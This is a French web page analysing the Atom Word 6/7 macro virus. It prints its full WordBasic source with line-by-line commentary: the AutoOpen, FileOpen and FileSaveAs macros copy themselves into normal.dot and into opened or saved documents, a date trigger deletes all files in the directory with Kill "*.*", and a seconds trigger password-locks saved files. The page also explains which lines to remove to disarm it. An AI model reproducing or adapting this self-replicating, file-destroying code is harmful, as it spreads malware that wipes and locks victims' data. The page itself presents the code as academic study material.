Annalyse d’un virus macro (Atom) Microsoft Word 6&7

Le script de ce virus est vraiment fonctionnel et destructeur. Le code de ce virus est placé sur ce site à des fins académiques et devrait être utilisé comme tel. Je déconseille donc d’employer ce script (bien qu'i soit simplifié et donc inutilisable telquel). Cependant, pour transformer ce virus en vaccin, il suffit d’enlever les parties soulignées (parties contenant les conditions et les procédures de destruction).

Macro "Atom"

Il est intéressant de remarquer que cette partie du virus contient une procédure de "condition" et une procédure de destruction.

Parties interessantes :
Condition : L4
Destruction : L6

Macros: Atom Atom : Nom de la macro
Sub MAIN Main : Partie principale de la macro
    On Error Goto KillError Passe toutes les commandes en cas d’erreur
    If (Day = 13) And (Month = 12) Then Si le jour est le 13e décembre, alors
        Kill "*.*" Il détruit tous les fichiers
    End If Fin de la condition (13/12)
    KillError: Emplacement ou le programme recommence en cas d’erreur
End Sub Fin de la partie Main

Macro AutoOpen

Il est intéressant de remarquer que cette partie du virus contient une procédure de "reproduction", cette procédure est destinée à infecter le fichier normal.dot, comparable au boot sector* de Microsoft Word.

Parties interessantes :
Vérification (si infecté) : L20 à L29
Reproduction : L6 à L15

Macros: AutoOpen AutoOpen : nom de la macro
Sub MAIN Main : partie principale de la macro
    Dim FN$ Déclaration de la variable (FN$)
    FN$ = FileName$() Stocke le nom du fichier à ouvrir.
    On Error Goto ErrorInfectGlobalTemplate Passe toutes les commandes en cas d’erreur
    If (CheckInfected = 0) Then Si le fichier n’est pas infecté, alors :
        MacroCopy FN$ + ":FileSaveAs", "FileSaveAs", 1 Il copie la macro FileSaveAs dans le document cible
        MacroCopy FN$ + ":FileOpen", "FileOpen", 1 Il copie la macro FileOpen dans le document cible
        MacroCopy FN$ + ":AutoOpen", "AutoOpen", 1 Il copie la macro AutoOpen dans le document cible
        MacroCopy FN$ + ":Atom", "Atom", 1 Il copie la macro Atom dans le document cible
        SaveTemplate Le virus enregistre le document modifié
    End If Fin de condition
    Call Atom Exécute la macro Atom
    ErrorInfectGlobalTemplate: Emplacement ou le programme recommence en cas d’erreur
End Sub Fin de la partie Main
Function CheckInfected Début de la fonction de vérification d’infection
    CheckInfected = 0 Le fichier est sain jusqu’à preuve du contraire (valeur 0 pour sain)
    If (CountMacros(0) >= 4) Then Si le nombre de macro est plus grand ou égal à 4,
        For I = 1 To CountMacros(0) pour chaque macro,
            If (MacroName$(I, 0) = "Atom") Then s’il est possible de trouver une macro nommée "Atom",
                CheckInfected = 1 Le fichier est infecté.
            End If Fin de condition
        Next I Incrémente la valeur de I (nécessaire à la boucle)
    End If Fin de condition
End Function Fin de fonction

Macro FileOpen

A remarquer : cette partie du virus contient une procédure de "reproduction", qui elle, par contre est destinée à infecter les documents ouverts. Il n’y a pas de procédure de test pour voir si le fichier est infecté, car en cas de réinfection, les parties du virus sont réécrites, contrairement au virus, où il serait simplement ajouté encore une autre procédure.

Partie interessante :
Infection du fichier : L8 à L16

Macros: FileOpen FileOpen : nom de la macro
Sub MAIN Main : partie principale de la macro
On Error Goto InfError Passe toutes les commandes en cas d’erreur
    Dim dlg As FileOpen Déclaration de la variable dlg (nom du fichier à ouvrir)
    GetCurValues dlg
    Dialog dlg Affiche un message demandant de choisir un fichier
    FileOpen dlg Ouvre le fichier en question
    MacroCopy "AutoOpen", Dlg.Name + ":AutoOpen", 1 Il copie la macro AutoOpen dans le document cible
    MacroCopy "FileSaveAs", Dlg.Name + ":FileSaveAs", 1 Il copie la macro FileSaveAs dans le document cible
    MacroCopy "FileOpen", Dlg.Name + ":FileOpen", 1 Il copie la macro FileOpen dans le document cible
    MacroCopy "Atom", Dlg.Name + ":Atom", 1/TD> Il copie la macro Atom dans le document cible
    FileSaveAs .Format = 1 Enregistre le fichier
    InfError: Emplacement ou le programme recommence en cas d’erreur
End Sub Fin de la partie Main.

Macro FileSaveAs

A remarquer : cette partie du virus contient une procédure de "reproduction", qui est destine à infecter les documents enregistrés, une procédure de "condition" et une procédure de destruction, dans ce cas-ci le fichier est encrypté si la condition est remplie.

Parties interessantes :
Infection du fichier : L8 à L16
Condition : L18
Destruction : L19

Macros: FileSaveAs FileSaveAs : nom de la macro
Sub MAIN Main : partie principale de la macro
    Dim dlg As FileSaveAs Déclaration de la variable dlg (nom du fichier pour l’enregistrement)
    GetCurValues dlg
    Dialog dlg Affiche un message demandant un nom de fichier
    If (Dlg.Format = 0) Or (Dlg.Format = 1) Then Si le format est approprié, Alors :
        MacroCopy "FileSaveAs", WindowName$() + ":FileSaveAs", 1 Il copie la macro FileSaveAs dans le document cible
        MacroCopy "AutoOpen", WindowName$() + ":AutoOpen", 1 Il copie la macro AutoOpen dans le document cible
        MacroCopy "FileOpen", WindowName$() + ":FileOpen", 1 Il copie la macro FileOpen dans le document cible
        MacroCopy "Atom", WindowName$() + ":Atom", 1 Il copie la macro Atom dans le document cible
        Dlg.Format = 1
    End If Fin de condition
    If (Second = 13) Then Si la seconde actuelle est 13 alors
        Dlg.Password = "ATOM#1" le fichier sera enregistré avec le mot de passe "ATOM#1"
    End If Fin de condition
    FileSaveAs dlg Enregistre le fichier
End Sub Fin de la partie Main./TD>

*** Visitez notre Sponsor ! ***
Membre de ClickFR, Reseau francophone Paie-Par-Click